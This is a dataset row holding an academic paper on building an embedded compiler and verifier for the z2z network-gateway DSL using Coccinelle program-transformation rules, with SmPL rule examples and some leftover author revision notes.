id
stringlengths 40
40
| text
stringlengths 9
86.7k
| metadata
stringlengths 3k
16.2k
| source
stringclasses 1
value | added
stringdate 2024-11-21 00:00:00
2024-12-12 00:00:00
| created
stringdate 2024-11-21 00:00:00
2024-12-12 00:00:00
|
|---|---|---|---|---|---|
2ae8203f307182890e2cff661c2d720e58e14ccf
|
Implementing an Embedded Compiler using Program Transformation Rules
Tegawendé F. Bissyandé, Laurent Réveillère, Julia Lawall, Yérom-David Bromberg, Gilles Muller
► To cite this version:
HAL Id: hal-00844536
https://hal.archives-ouvertes.fr/hal-00844536
Submitted on 15 Jul 2013
HAL is a multi-disciplinary open access archive for the deposit and dissemination of scientific research documents, whether they are published or not. The documents may come from teaching and research institutions in France or abroad, or from public or private research centers.
L’archive ouverte pluridisciplinaire HAL, est destinée au dépôt et à la diffusion de documents scientifiques de niveau recherche, publiés ou non, émanant des établissements d’enseignement et de recherche français ou étrangers, des laboratoires publics ou privés.
Implementing an Embedded Compiler using Program Transformation Rules
Tegawendé F. Bissyandé¹, Laurent Réveillère²*, Julia L. Lawall³, Yérom-David Bromberg², Gilles Muller³
¹ SnT - University of Luxembourg, Luxembourg
² LaBRI - University of Bordeaux, France
³ Inria Paris Rocquencourt, France
SUMMARY
Domain-specific languages (DSLs) are well-recognized to ease programming and improve robustness for a specific domain, by providing high-level domain-specific notations and verifications of domain-specific properties. The compiler of a DSL, however, is often difficult to develop and maintain, due to the need to define a specific treatment for a large and potentially increasing number of language constructs.
To address this issue, we propose an approach for specifying a DSL compiler and verifier using control-flow sensitive concrete-syntax based matching rules. These rules either collect information about the source code to carry out verifications or perform transformations to carry out compilation. Because rules only mention the relevant constructs, using their concrete syntax, and hide the complexity of control-flow graph traversal, it is easy to understand the purpose of each rule. Furthermore, new compilation steps can be added using only a small number of lines of code. We explore this approach in the context of the z2z DSL for network gateway development, and show that the core of its compiler and verifier can be implemented in this manner.
Copyright © 2012 John Wiley & Sons, Ltd.
Received …
KEY WORDS: DSL; compiler construction; internal (embedded) languages; embedded compilers; program transformation.
1. INTRODUCTION
Domain Specific Languages (DSLs) expose concepts that are focused on a specific domain, via specialized syntax, thus providing many opportunities for improving developer productivity and empowering domain experts [1, 2, 3, 4, 5]. Designing and implementing such a language, however, raises practical challenges. Two main currents have emerged for these tasks: external DSLs and internal DSLs [6]. An external DSL is implemented using a standard compiler toolchain, consisting of a parser, verifier and code generator that are dedicated to the given DSL syntax. This approach provides maximum flexibility in the language design, because compilation tools can be specifically targeted towards the desired language features. However, this approach requires a high degree of compiler development expertise. An alternative is provided by an internal DSL, also known as an embedded DSL, where the language is implemented as a library, in terms of new operators and abstract data types, for some existing general-purpose host language. Common host languages include Haskell, Scala, and Ruby, which provide, to varying degrees, flexible syntax, advanced type systems and reasonable performance that can support a variety of syntaxes and verifications.
*Correspondence to: Laurent Réveillère, LaBRI - University of Bordeaux, 33402 Talence, France. E-mail: reveillere@labri.fr
Copyright © 2012 John Wiley & Sons, Ltd.
Prepared using speauth.cls [Version: 2010/05/13 v3.00]
without the need to directly implement a parser, verifier, or code generator [7, 8, 9, 10]. Internal DSLs, however, are limited to the kinds of syntax, verifications, and optimizations provided by the host language, and all implementation strategies target the requirements of the host language, not of the DSL itself.
In this paper, we present a case study on DSL design and implementation in the context of the z2z DSL for network gateway development [4]. A gateway is the part of a network infrastructure that serves to translate messages between hosts that implement different network protocols. The environments in which we live are becoming more and more networked, and there is a corresponding explosion in network protocol designs, making the development of gateways increasingly necessary. Gateway code must perform complex message processing operations, taking into account nonfunctional variations between protocols, such as the choice of the underlying transport layer and the choice between synchronous and asynchronous messaging. Furthermore, to reduce costs, a gateway is typically implemented as an embedded system, for which careful coding is required to maximize performance and minimize resource usage. These issues complicate gateway development and imply that both efficiency and correctness are critical.
The z2z DSL is a C-like language that provides abstractions dedicated to the gateway domain, including protocol features, message structures, and the message translation logic. This language is complemented by a highly optimized runtime system, which manages the network interaction. The z2z DSL was originally designed and implemented as an external DSL following the source to source transformation pattern surveyed in [11]. For simplicity needs, in the remainder of this section we use the term “compilation” although the DSL generation engine does not produce any object code. Instead, the engine generates C code that can then be compiled into executable code using a standard optimizing compiler. This strategy provides good performance and low memory usage. The z2z compiler furthermore performs a number of verifications to ensure robustness. The z2z DSL has been used to implement a number of complex gateways, including a gateway to allow SIP† control of a RTSP‡ camera, a service discovery gateway between SLP§ and UPnP¶ and a gateway to allow tunnelling SMTP∥ traffic over HTTP∗∗ [4]. We are also aware of some exploratory industrial usage of the language. A full description of the syntax and semantics of the z2z language can be found in a previously published thesis [12].
Our experience in designing and implementing z2z, as well as several other DSLs for systems programming tasks that require ad-hoc fine-grained verification and aggressive optimization [13, 14, 15, 16], has shown that the initial design of an external DSL and the implementation of its compiler can be done very quickly if developers are familiar with programming language concepts and compiler construction techniques. However, as in previous work [17], we have also found that a new DSL must frequently evolve, as new requirements, and even new application areas, become apparent. For example, in the development of the HTTP to SMTP gateway, we found that it was necessary for the message translation logic to explicitly manipulate TCP connections, a functionality that was not anticipated in the initial z2z design. Extending the z2z DSL to provide this functionality entailed the addition of new primitives, accompanied by the corresponding addition of new verifications. These changes to the z2z DSL required a pervasive transformation of its compiler. To support this kind of language evolution, the compiler design must make it possible to prototype code generation and verification rules for new language features quickly, while keeping the language implementation understandable for later updates. If this flexibility cannot be provided, language developers and users are likely to abandon the DSL and revert to a general-purpose-language based solution.
The difficulties in implementing and maintaining the z2z compiler can essentially be attributed to the gaps, both syntactic and semantic, between the source language (z2z), the compiler
---
† Session Initiation Protocol, for multimedia sessions
‡ Real Time Streaming Protocol, for control of streaming medias servers
§ Service Location Protocol, for service discovery
¶ Universal Plug and Play, for device-to-device networking
∥ Simple Mail Transfer Protocol, for sending e-mails to servers
∗∗ HyperText Transfer Protocol, for interacting with web servers
implementation language (OCaml) and the target language (C). When a developer of the \textit{z2z} language finds a problem in the generated code, he must track down the portion of compiler code that produces the defect and fix it. To do so, he must first correlate the generated C code with \textit{z2z} code to determine which part of the \textit{z2z} specification has been erroneously translated, and then go through the internals of the compiler’s OCaml code to fix the implementation. Whether such a fix involves modifying the verifications performed by the compiler or improving the transformations carried out during the code generation process, it can entail significant side-effects to the compiler design and may thus require reimplementing large portions of the compiler.
These difficulties in maintaining the \textit{z2z} compiler suggest that an internal DSL design and implementation approach may be more suitable in the long term. This requires the choice of a host language. The \textit{z2z} user community is used to programming in C-like languages, and \textit{z2z} critically relies on the performance that can only be achieved by a native C implementation. C, however, is not a natural target for defining internal DSLs, as it does not provide a rich type system or other DSL support features. Rather than relying on the C language to provide domain-specific features and enforce domain-specific properties, we propose an alternate approach to internal DSL development based on the use of externally developed transformation and verification rules. For this we use Coccinelle, a program matching and transformation tool for C code \cite{18}, to replace the compilation of \textit{z2z} code to C. Coccinelle specifications are written using a syntax and following a structure very similar to that of the target C program itself, thus freeing the language developer from manipulating complex intermediate representations such as abstract syntax trees and control-flow graphs. Rules are furthermore modular, being specific to the affected constructs, making them simpler than a typical compiler pass. A thorough documentation on Coccinelle can be found on the project web page: http://coccinelle.lip6.fr.
The results of our work are:
- **Bissyande** We propose an approach to DSL compiler development that reduces the complexity of designing and maintaining the DSL compiler by expressing the verifications and transformations using a notation that is syntactically close to that of the generated code. **To this end we discuss our practical experience in implementing an external DSL and migrating it to an internal DSL. We thus motivate the need for migration and enumerate the benefits of the new approach against the former.**
- **Bissyande** We describe how to use the Coccinelle program matching and transformation engine to perform the verification and code generation steps of an embedded compiler. **This paper explores in details the implementation steps that were performed and the transformation rules that were written as part of compiler of the embedded DSL.**
- **Bissyande** We show the applicability of our approach by using it to implement an embedded compiler for the most complex and performance-demanding part of the \textit{z2z} DSL, the translation of messages. The resulting compiler is about one third the size of the original compiler, which was implemented in OCaml.
The rest of this paper is organized as follows. Section 2 presents the \textit{z2z} DSL and highlights the verification and code generation steps that are performed by its compiler. Section 3 describes the changes required to the syntax of the \textit{z2z} DSL to embed it into C. Section 4 presents Coccinelle and outlines our approach to internal DSL development. Section 5 assesses the efficiency of our approach and Section 6 discusses related work. Finally, Section 7 concludes and presents future work.
## 2. A NETWORK PROTOCOL GATEWAY DSL
**Bissyande** **Reviewer 2 seem to think that MTL is simply a sub-language of \textit{z2z} and that \textit{z2z} is not relevant. We need to express that MTL is central and the most part of \textit{z2z}.**
The z2z DSL provides facilities for defining a gateway in terms of modules that describe network protocol behaviors, message structures, and the message translation logic, building on an optimized run-time system. A protocol specification module describes various properties of the interaction with the network, such as the transport protocol used, whether requests are sent in unicast or multicast, and whether responses are received synchronously or asynchronously. It also specifies how to dispatch a received request to a specific handler for processing. A message specification module defines message views that describe the information that can be extracted from incoming messages and templates that describe the structure of new messages to be created. Both message views and templates are represented as a set of fields. Finally, the message translation module describes how to translate between the various types of messages, taking into account protocol properties. This module is the core of z2z, its largest and most complex part, and its most performance-demanding part. We thus focus on the message translation module, although its compilation depends on information from the other modules.
The Message Translation Module is specified using a dedicated C-like sublanguage of the z2z DSL, MTL (Message Translation Language). For simplicity reasons, and unless otherwise indicated, in the remaining sections, when we discuss the z2z DSL we mainly refer to MTL. MTL code consists of a set of handlers, one for each kind of relevant incoming request, as indicated by the protocol specification module of the source protocol. Domain-specific operators are provided for manipulating and constructing messages, for sending requests and returning responses, and for managing sessions, which maintain state across requests. Figure 1 illustrates an extract of the message translation module of an SLP to UPnP gateway. More details about MTL and the rest of the z2z DSL are presented in previous work [4].
The compiler of the z2z DSL is implemented in OCaml, and follows a traditional structure [19], consisting of a parser, which converts the source code to an abstract syntax tree (AST), followed by various compilation phases that analyze and transform the AST, and concludes with a code-generation phase, producing C code. This compiler performs some domain-specific verifications to detect inconsistent specifications and ensure the generation of safe code. We now describe the verification and code generation steps that are performed by the compiler.
2.1. Verifications
The verification phase 1) performs consistency checks to ensure that the information declared in each module is used elsewhere according to its declaration, and 2) applies dataflow analysis to the MTL code to ensure that values are well-defined when they are used.
Consistency checks The consistency checks ensure that the MTL code is consistent with the protocol specification modules and the message specification modules. The protocol specification...
module of the source protocol declares how to dispatch incoming requests to the appropriate handlers and whether a response is expected from these handlers. The z2z compiler checks that the message translation module defines a handler for each kind of expected request and that this handler has the expected return type. A message specification module indicates which fields are associated with each message view and template, and their types. A message specification module furthermore indicates which fields are automatically handled by the runtime system (fields declared as `private`) and which must be managed by the message translation module (fields declared as `public`). The z2z compiler checks that fields are only used in the allowed module and that every access or update has the declared type.
**Dataflow analysis** The z2z compiler uses dataflow analysis to check the safety of MTL operations on messages, to ensure that fields are initialized before they are accessed and to ensure that message structures are fully initialized before they are transmitted on the network. The compiler also uses dataflow analysis to ensure the correct use of operations related to the management of sessions and TCP connections.
An MTL handler, as illustrated in Figure 1, is parameterized by a `view` of the corresponding request (line 1), organized as defined in the message specification module. The information in this view can be extracted using the standard structure field access notation. If the message specification module indicates that a view element is optional, the z2z compiler checks that any reference to the corresponding field is preceded by an `empty` test to determine whether its value is available before it is used.
To create a message, an MTL handler invokes the name of the corresponding template (lines 6, 9, 12 in Figure 1), as defined in the message specification module, optionally passing to it some keyword arguments indicating the values of some or all of the fields. The remaining fields may then be incrementally initialized (line 10) until the created message is flushed to the network at the point of a `send` or `return` operation (lines 6, 11, 12). Template fields may be declared in the message specification module to be `public` or `private`, as aforementioned. The z2z compiler checks that all public fields of a template are initialized before the template is passed to `send` or `return`.
Finally, the dataflow analysis also checks properties of sessions and of TCP connections. If the protocol specification module for the source protocol of the gateway declares that this protocol is session-based, then the MTL module may declare session variables. Such variables are defined outside of any handler and keep their values across successive requests. The z2z compiler checks that references to session variables do not occur outside session boundaries, as defined by the `session_start` and `session_end` operations. Similarly, if the protocol specification module for a target protocol of the gateway declares that the protocol relies on TCP, then the MTL module may use some operations (`tcp_connect`, `tcp_get_connection`, etc.) to explicitly manage the TCP connection. The z2z compiler performs various checks to detect erroneous uses of these operations. For example, only `tcp_connect` can be used after a call to `tcp_close` along a given control-flow path.
### 2.2. Code generation
The code generation phase produces C code from a MTL specification. For that purpose, it carries out three main categories of transformations: 1) implementation of asynchronous message sends, 2) implementation of the variables used by MTL, and 3) implementation of memory management.
**The send operation.** A request is sent from the gateway to the target service using the operator `send`, as illustrated in lines 6 and 11 of Figure 1. If the target protocol specifies that responses are returned asynchronously, then the gateway must be allowed to perform other tasks until the response is available. So that the run-time system can restart the handler, the compiler generates code to pass `send` a pointer to the remainder of the current handler, amounting to a `continuation` [4].
---
*Copyright © 2012 John Wiley & Sons, Ltd.*
*Softw. Pract. Exper. (2012)*
*Prepared using speauth.cls*
*DOI: 10.1002/spe*
Variables. Local variables that must be maintained across asynchronous sends are identified and implemented as elements of an environment structure. Similarly, session variables, which must be maintained across multiple handler invocations, are implemented in a global environment.
Dynamic memory management. When memory needs to be allocated dynamically, as in an invocation of a template constructor for message creation, the z2z compiler generates code to manage reference counts. These reference counts are used to ensure proper memory management, without introducing the run-time overhead of a tracing garbage collector, as found in languages such as Java.
2.3. An increasingly obsolete compiler
To address a concern of reviewer 2 we need to insist that maintenance of the compiler is a very big concern. And maybe say that understanding of the language by users is also a concern, even if in our case it was not an issue since both MTL and C-MTL have C-like constructs?
Over the course of the development of z2z, the syntax of MTL, its semantics as well as the internals of its compiler have all been refined several times. Changes have included fixing bugs in the compiler and extending the language to support new features requested by users. As the compiler has evolved, we have found that adding new features or modifying existing ones was requiring an increasing amount of effort. For instance, when adding support for TCP-based networking, we had to make changes pervasively throughout our manually written compiler; this had the effect of introducing bugs that were tedious to find and fix. Indeed, out of the 26 OCaml implementation files (.ml) that constitute the z2z compiler, 2 where added and 17 were modified, over the course of 2 days. 20 other edits in all the modified files were necessary to fix bugs in the implementation of the TCP operators in the following two weeks. Thus, 80% of the compiler were impacted by this new feature. In the long term, the maintenance that would be necessary to extend the language to address domain changes (e.g., new protocol paradigms) and developer needs for complex applications could become in practice impossible.
An approach that achieves part of the effect of language extension that is found in general-purpose languages is to make it possible to link programs with externally developed libraries. For instance, the use of encryption libraries is now commonplace for extending protocols to support encrypted communication and secure identification. Nevertheless, the emphasis on verification and safety in the z2z DSL design means that MTL code cannot simply directly call existing libraries. An alternative would be to add these libraries to the run-time system, but doing so would require substantial expertise in the design of the run-time system. An internal DSL-based approach, in which verifications are targeted to the DSL code, while unverified host language code is supported as well, potentially provides a way around this problem.
3. MTL AS A C INTERNAL LANGUAGE
To be implemented as an internal DSL in C, the syntax of MTL must first be reorganized such that MTL code is recognizable as valid C code by the program transformation tool, Cocconelle [18], that we use to complete the embedding into C. In the C language, syntax extensions are restricted to what can be expressed using preprocessor macros, which are limited to single identifiers or a function-call like notation; it is not possible to e.g., define infix operators, as permitted in languages such as Haskell and Scala and as are frequently used in DSL implementations [11, 20, 21]. Fortunately, as illustrated in Figure 1, the syntax of MTL is already quite close to that of C. We have found that changes are only required to the syntax of message-variable declarations and foreach loops to produce our C-MTL language.
Message-variable declarations. As illustrated in lines 1-4 of Figure 1, in MTL, declarations related to messages have the form of a double type declaration, containing both an indication of
the protocol associated with the message and an indication of whether the message is a request or
response. For example, in the handler header (line 1), the return type indicates both the name of
the source protocol and whether a response is required (response or void), and the parameter
type indicates again the name of the source protocol and that the parameter represents a request.
Furthermore, the variable req_http on line 3 represents a HTTP request, while the variable res_ssdp
on line 2 represents a SSDP response.
C variable declarations include only one type, and thus these double type annotations found
in MTL code do not represent valid C syntax. To allow the MTL code to be accepted by a C
parser, we have to reorganize these declarations. For the handler header, the protocol name in the
return type and the keyword request in the declaration of the parameter are redundant, as the
same protocol is mentioned in both, and the parameter always represents a request message. In
these cases, we simply drop the redundant information, as illustrated in line 1 of Figure 2. Local
variables, on the other hand, can represent either requests or responses, and can be associated with
any protocol. For such variables, both the designation as request or response and the name of
the protocol are thus essential. In this case, we have followed a strategy used in Linux code,
and defined macros DECLARE_REQUEST and DECLARE_RESPONSE to declare these variables,
as illustrated on lines 2-4 of Figure 2. These macros take as arguments the name of the protocol and
the variable name, making it possible to preserve information about both the kind of message and
the associated protocol, for use in the verification and compilation process. MTL also allows the
declarations of variables representing simple messages, which are not oriented as either requests or
responses, and of lists of various types. For declaring such variables, C-MTL provides the macros
DECLARE_MESSAGE and DECLARE_LIST, defined similarly.
Foreach. MTL provides a foreach loop construct, in which the loop header declares a loop
index variable using a local declaration as in C++, and expresses the possible values of this variable
by assigning it to the list over which iteration is required. An example of such a loop is as follows,
taken from the z2z specification of a SIP to RTSP gateway developed in our previous work [4].
foreach (fragment rtsp_m_ = rtsp_medias) { ... }
foreach is not part of C, and thus it would normally be necessary to define such a construct as
a macro. Fortunately, we are targeting the C parser of Coccinelle, which recognizes foreach as
a loop construct, and which permits a variable declaration in the loop header. Coccinelle, however,
requires that the declaration end with a semicolon, as in an ordinary C statement, and thus C-MTL
requires this semicolon.
Note that although the C-MTL foreach essentially has the form of C code, it does not follow the
C semantics, in that rtsp_m is intended to be assigned to each of the elements of rtsp_medias,
rather than to the complete list itself. A similar use of C syntax, without the associated C semantics,
is illustrated in the use of keyword arguments in the instantiation of templates, as found on line
6 of Figure 2. There, the initializations are intended to be to the fields of the template, not to the
Copyright © 2012 John Wiley & Sons, Ltd.
DOI: 10.1002/spe
individual variables. Thus, although we use a C-based syntax for C-MTL, we reserve the right, via the compiler, to assign to the various constructs a domain-specific semantics. The C-MTL user should keep in mind the MTL semantics, and not that of C.
4. A COCCINELLE-BASED EMBEDDED COMPILER FOR C-MTL
Although the syntax of C-MTL is recognizable as C code, the domain-specific constructs, related to the management of network protocol messages, have a z2z-specific semantics. Furthermore, it is desirable to restrict the ordinary C code found in the C-MTL handlers, to protect the integrity of the message processing. The C-MTL embedded compiler must implement the intended semantics and enforce the intended properties. In this section, we show how these tasks can be carried out using the program-transformation tool Coccinelle.
In the rest of this section, we first give an overview of Coccinelle, and then illustrate its use in defining the main steps of the compilation process: 1) code reorganization, to simplify and highlight some aspects of the code, 2) verification, and 3) code generation, as shown in Figure 3.

4.1. Coccinelle overview
Coccinelle is a tool for performing control-flow based program searches and transformations in C code [18]. It provides a language, SmPL (Semantic Patch Language), for specifying searches and transformations and an engine for performing them. SmPL semantic patches are based on pattern matching, but can contain OCaml or Python code, to be able to perform arbitrary computations. Coccinelle allows code to be matched and transformed according to patterns that are very similar to the affected code itself. This property makes the rules easy for the compiler maintainer to read. Furthermore, each rule only mentions the specific kinds of code fragments that are relevant to the associated compilation step. Thus, changes in the semantics of a construct of the DSL typically have only a localized impact on the compiler structure. This property further eases the compiler maintenance process.
We first present an overview of the SmPL syntax, via some simple semantic patches that perform verifications and transformations required by the C-MTL compiler. A complete grammar of SmPL is available on the Coccinelle web site (http://coccinelle.lip6.fr/).
**Example 1: Restricting the use of C code.** Figure 4 shows a semantic patch to prevent the use of `setjmp` and `longjmp` in MTL handler code. The use of `setjmp` and `longjmp` in handler code can interfere with the compiler’s ability to analyze the handler control-flow, and thus could impair its ability to perform the necessary verifications of the message processing code. Furthermore, we expect that these operators are not typically useful in translating network protocol messages. The semantic patch consists of three rules: a SmPL rule named `cmtl_handlers` for collecting the names
of the relevant protocol handlers (lines 1-5), a SmPL rule named hasjmps matching calls to setjmp or longjmp in the body of one of these handlers (lines 7-19), and an OCaml rule generating an error message when such a call is found (lines 21-30).
As illustrated by the first rule cmtl_handlers (lines 1-5), a SmPL rule begins by declaring some metavariables and then uses these metavariables to describe a pattern to be matched in the source code. cmtl_handlers defines two metavariables (line 2): handler that will contain the name of a handler and proto that will contain the name of its corresponding protocol. cmtl_handlers also declares that DECLARE_HANDLER is a variable declarer name, as introduced in Section 3. The pattern (line 5) then instantiates these metavariables according to the arguments of the various DECLARE_HANDLER declarations. The DECLARE_HANDLER declarations are generated by a separate compiler, described in Section 4.2 from the protocol specification module of the gateway’s source protocol.
The second rule, hasjmps, declares two metavariables: handler and pos. The metavariable handler is inherited from cmtl_handlers, implying that hasjmps is applied once for each possible binding of handler. The metavariable pos is new in hasjmps, and will be used to store the position of each call to setjmp or longjmp in the source code. The pattern, on lines 13-17, then matches either a call to setjmp or a call to longjmp, as indicated by the use of a disjunction, represented by (, |, and ) in the leftmost column. The calls to setjmp and longjmp can have arbitrary arguments, as indicated by the pattern “...” in their argument lists. The pattern “...” is also used before and after the calls to setjmp and longjmp to indicate an arbitrary sequence of statements. Finally, the notation @pos records the position of the keyword setjmp or longjmp at each occurrence in the position variable pos.
The final rule is an OCaml rule (lines 21-30). Such a rule also begins by defining some variables, and then uses the variables in arbitrary OCaml code (lines 24-30). In this case, the OCaml rule inherits the metavariable handler from the SmPL rule cmtl_handlers and the metavariable pos from the SmPL rule hasjmps. Because hasjmps, which declares pos, inherits handler, the OCaml rule is applied once for each observed pair of bindings of these variables; on the other hand, if the metavariables had been defined disjointly, the OCaml rule would be applied once for each element of the cross product of their values. After binding the metavariables, the OCaml code prints an error message indicating the position at which the call to setjmp or longjmp occurs.
The rules are applied to the C-MTL code in sequence, with the first rule being applied to each top-level term (variable declaration or function definition), then the second rule being applied once to each top-level term for each assignment of its inherited metavariables, etc. There are no loops in this process, and thus it is guaranteed to terminate.
Example 2: Transforming C-MTL code into C code. Figure 5 shows two semantic patch rules related to injecting the MTL semantics of strings into C code. Unlike C strings, C-MTL strings can...
be compared using \(==\) and \(!=\), which compare their content rather than their pointers, and they are represented as structures containing a reference count and the string value. The first rule (lines 1-11) rewrites comparison expressions involving constant strings to use \texttt{strcmp}. The SmPL operator \(\sim\) at the beginning of lines 6 and 9 instructs Coccinelle to remove the matched expressions, while the SmPL operator \(+\) at the beginning of lines 7 and 10 instructs Coccinelle to add the corresponding code to the generated program. The added code is constructed using the metavariable bindings obtained by matching the removed code, as well as by matching any pattern that may be present without \(-/\sim\) annotations. This pattern should be embedded in the declaration of a handler, as was done in the rule \texttt{hasjumps} in Figure 4, to ensure that the rule only applies to MTL code. We omit this detail to simplify the presentation.
```
1 @@
2 constant char [] C;
3 expression E;
4 @@
5 {
6 E == C
7 + strcmp(E, C) == 0
8 |
9 - E != C
10 + strcmp(E, C) != 0
11 }
12 @@
13 constant char [] C; identifier handler;
14 fresh identifier str = "_mtl_string_";
15 @@
16 +static struct string str = { -1, C };
17 handler(...) {
18 <+...
19 - C
20 + str.val
21 ...>}
22 }
```
Figure 5. A semantic patch implementing the z2z semantics of string constants
The second rule (lines 12-22) replaces each constant string by a static structure containing the required reference-count information. For this, the rule matches each handler, and each of the constant strings \(C\) inside it, as indicated by the \texttt{nest} operator \(<.+\ldots.+\>)\ (lines 18-21). For each constant string, we need to construct a corresponding structure before the beginning of the handler, and give this structure a unique name. Thus, a fresh identifier \(str\) is declared for each constant string \(C\), based on the prefix \texttt{_mtl_string_}\ (line 14), and a corresponding declaration of a structure, named \(str\), is added before the definition of the handler. The annotation ++ (line 16) allows these structure declarations to accumulate. We also need to replace each occurrence of the string by an access to the appropriate structure field. Thus, in the nest, the rule replaces each matched occurrence of \(C\) by an access to the \texttt{val} field of the corresponding fresh \(str\) variable.
As in the previous example, the first rule (lines 1-11) is applied once to each top-level term in the program, and then the second rule is applied once to each top-level term in the transformed result produced by the first rule. Thus, for example, each constant string involved in a string comparison operation that is created by the first rule is replaced by reference-counted structure and appropriate field accesses, by the second rule. It is also necessary to update the string references stored in variables to refer to the structure field. This is done by a subsequent rule, that is not shown.
4.2. Preprocessing
To facilitate verification and code generation using Coccinelle, the compiler first reorganizes the MTL code, to make some operations explicit and to add tags that indicate important points in the code. This step mainly serves to avoid redundant processing in the subsequent verification and code generation steps.
**Incorporating information about protocols and message.** The verification and code generation steps require information from the protocol specification and message specification modules. To make this information available, we have implemented a dedicated compiler that encodes the contents of these files into structures in header files that exist only for the compilation process. The use of a dedicated compiler in this case seems essential, since these modules are declarative, and thus are not naturally expressed as C code. These modules serve as a critical reference for the gateway programmer, and thus must be easily understandable.
The dedicated compiler uses auxiliary information about the set of protocols involved in the gateway to add includes of the generated header files to the top of the C-MTL code. This phase also enhances the declarations of local variables using DECLARE_REQUEST or DECLARE_RESPONSE, to distinguish between a received message, which has the type of the corresponding message view, and a constructed message, which has template type.
Normalization of message construction code. In MTL, a message is constructed by invoking a template on a set of keyword arguments that provide values for a subset of the fields of the message template. The remaining fields can then be initialized by explicit assignments. Coccinelle rules are used to normalize the message construction code, by removing any template arguments and replacing the call to the template by a call to the message-creation operator new having the template name as an argument. The original message arguments become assignments to the fields of the allocated message. A local request or response variable is introduced to hold the message, according to the role of the protocol, as indicated by the type of the template.
Making control-flow explicit. A send to a protocol that responds asynchronously does not directly return a result, but instead aborts the execution of the handler until the response is available. The implementation of such an asynchronous send must thus provide to the run-time system information about what code should be executed at that time. For this, Coccinelle rules are used to construct a form of continuation, represented as a label, which is passed to the call to send, renamed send_async to indicate its specific semantics. The handler is then reorganized such that it takes a label or NULL as a parameter, and if a label is provided, jumps to the corresponding position in the handler.
Figure 6 shows extracts of the semantic patch for managing asynchronous sends. The rule prot_info (lines 1-5) uses the header files generated from the protocol specification module to identify the target protocols of the gateway for which sends are asynchronous. For each such protocol, the rule async (lines 7-19) transforms a send (line 16) whose argument is a variable declared to be a request for the given protocol (lines 13-14) into a call to send_async. Information about the protocol is also provided to send_async as the first argument. Then, for each call to send_async (line 24), an OCaml script (lines 25-30) creates a name for a new label, based on the position of the call in the MTL code (lines 29-30). Finally, the rule insert_label adds the address of this label to send_async and places this label after the call to send_async (line 44), taking care to halt the handler first with a return statement (line 43). A tag SEND_CONT is also inserted just after the label (line 45) to indicate that this is the entry point of a continuation that comes after a send operation. Another tag that does not appear in the example is START_CONT which indicates the entry point of the handler.
4.3. Verifications
As summarized in Section 2.1, the goal of the verification of the message translation module is to ensure that this module is consistent with the protocol and message specification modules, and to ensure that values are well-defined before they are used. These verifications rely on the information in the header files that were included as part of the reorganization phase.
Consistency checks. As introduced in Section 2, template fields may be annotated as public or private, and the MTL code is only allowed to access the public fields. The semantic patch shown in Figure 7 detects attempts to initialize private fields. The first rule, ref (lines 1-5),\footnote{Backslashes are used in a disjunction that appears within a single line.} matches a structure field initialization, recording the name of the structure type in the metavariable $T$ and the name of the accessed field in the metavariable $fld$. The second rule, priv (lines 7-16), then matches the structure type, included via a header file, checking for a declaration of $fld$, encoded as a function type, in which the parameter types indicate the properties of the field.
Copyright © 2012 John Wiley & Sons, Ltd.
Prepared using speauth.cls
DOI: 10.1002/spe
checks whether the type of the second “parameter” is private (line 13). This function type is not used in the execution of the gateway; instead, it is used as a means to collect the various attributes of each template field, as indicated in the corresponding message specification module. The types of the other “parameters” of this function indicate whether the field is mandatory or optional (mand_or_opt), and whether it is preinitialized with a default value (init_or_uninit). Finally, an OCaml script (lines 18-24) prints an error message in the case where a match of the ref rule also satisfies the priv rule.
The main advantage of the semantic patch described above is that it only mentions the specific kinds of code that are relevant to the property to be checked. This makes the verification understandable for any programmer with basic knowledge on C programming and SmPL. Writing consistency checks in this manner makes the language implementation understandable, which in turn makes maintenance easier.
Dataflow analysis. Verifications performed by the z2z compiler also include dataflow analysis to ensure the validity of the generated gateway code. For example, a gateway should not be allowed to send network message packets with uninitialized fields. To verify this property, the compiler must
be able to reason in terms of paths in a control-flow graph. Coccinelle provides this capability via the “...” operator.
In the semantic patch of Figure 8, the rule public fld collects all the public message fields (line 7) associated with each template. Based on this information for a given template, the rule sending then checks whether there exists (keyword exists, on line 11) a path in the control-flow graph from the call to new to a call to send that does not include either a re-initialization of the variable holding the result of new or an initialization of one of the template’s public fields. In this rule, “...” (line 17) represents the sequence of operations between new and send, and the when != operators describe terms that should not appear within this sequence (lines 17 and 18). An OCaml script, that is not shown, is then used to print an error message.
```ocaml
1 type T; t; identifier tm,fld;
2 typedef public,uninitialized;
3 @@
4 struct tm {
5 ...
6 T (*fld)(t,public,uninitialized);
7 ...
8 }
9 }
10
11 @sending exists@
12 position p0, p1;
13 expression E, x, y;
14 identifier public_fld.tm, public_fld.fld;
15 @@
16 x@p0 = new(tm);
17 ... when != x = E
18 when != x.fld = E
19 send@p1(x);
```
Figure 8. Dataflow analysis: All public fields of a template must be initialized before the template is passed to send
4.4. Code generation
In a traditional abstract-syntax tree based compiler, it is necessary to generate code for all of the constructs of the language. In our approach, code generation is only needed for terms whose C semantics is different from the semantics that is desired for the DSL construct. In the case of the z2z DSL, the main issues that require code generation are the management of session variables, of local variables that are live across asynchronous sends, of memory (as illustrated by the introduction of reference count management in Section 4.1), and of the send operation.
Variables. To implement sessions, the values of session variables must be maintained across invocations of the handlers. Session variables are represented in C-MTL as global variables, but they cannot be implemented in this way, because a session variable is specific to each initiated session, and not global to all invocations of the handlers. To reduce the scope of the session variables, we reimplement them as fields of an environment structure. This structure is created when a session is started, and is then passed by the run-time system to subsequent handler invocations that are within the same session, as defined by the criteria specified in the protocol specification module of the source protocol. Local variables that are live across a call to asynchronous sends also must be maintained across successive calls to the same handler, as the responses for the sends become available. The compiler introduces a similar environment structure in this case.
An additional transformation is needed in the case of session variables. Because the run-time system is multi-threaded, multiple handlers within the same session can be invoked in parallel. Thus, any handler that refers to a session variable should acquire a lock associated with the session before using the session variables. If a lock is not held when needed, the result can be an inconsistent access to the session variables, and if a lock is not released when it should be, the result can be deadlock.
Figure 9 shows an extract of the semantic patch that transforms handlers that process global variables, identified using the rule needs_locks, to insert lock acquisitions after session_start (lines 12-13) and at the beginning of all continuations that do not contain session_start (lines 19-20), and adds lock releases before a session_end and at the end of continuations that do not contain session_end (rules unlock1 and unlock2). These rules rely on the rule globals, which is not shown, that collects the names of the session variables, storing each in the metavariable
...
i, and a rule bad_session that is used to ensure that the transformations are only performed on continuations where session_start and session_end are correctly used.
The send operation. In MTL, a send operation is expressed as a function call taking a template as an argument and possibly returning a message view as a result. In Figure 6, we have seen part of the implementation of an asynchronous send and its effect on the handler control flow. Here, we focus on the process of constructing and sending the messages, and processing the result, for synchronous sends.
